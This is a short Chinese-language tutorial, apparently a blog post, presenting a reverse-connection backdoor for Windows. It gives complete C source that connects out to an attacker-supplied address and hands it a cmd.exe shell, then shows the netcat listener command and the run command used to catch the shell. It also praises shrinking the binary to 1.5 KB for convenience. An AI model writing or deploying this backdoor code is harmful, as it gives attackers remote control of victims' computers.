反向连接的一个后门程序

大家再来看一下下面的这个程序,:

#include <winsock2.h>

#pragma comment(lib,"ws2_32")

int main(int argc, char **argv)

{

WSADATA wsaData;

SOCKET hSocket;

STARTUPINFO si;

PROCESS_INFORMATION pi;

struct sockaddr_in adik_sin;

memset(&adik_sin,0,sizeof(adik_sin));

memset(&si,0,sizeof(si));

WSAStartup(MAKEWORD(2,0),&wsaData);

hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

adik_sin.sin_family=AF_INET;

adik_sin.sin_port=htons(atoi(argv[2]));

adik_sin.sin_addr.s_addr=inet_addr(argv[1]);

if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)))

return -1;

si.cb=sizeof(si);

si.dwFlags=STARTF_USESTDHANDLES;

si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;

CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);

return 0;

}

它的功能很简单,就是反向连接.

先用NC监听端口:

Nc.exe –lp 5555

再以命令行执行该程序:

Sameple.exe 127.0.0.1 5555

最终获取一个CmdShell

我们先用Release版本生成, 最终生成大小23 K. 我们再用TinyFrame生成一次, 最终大小: 1.50 KB, 很诱人了对不对. 呵呵, 下面就说一说安装及使用过程.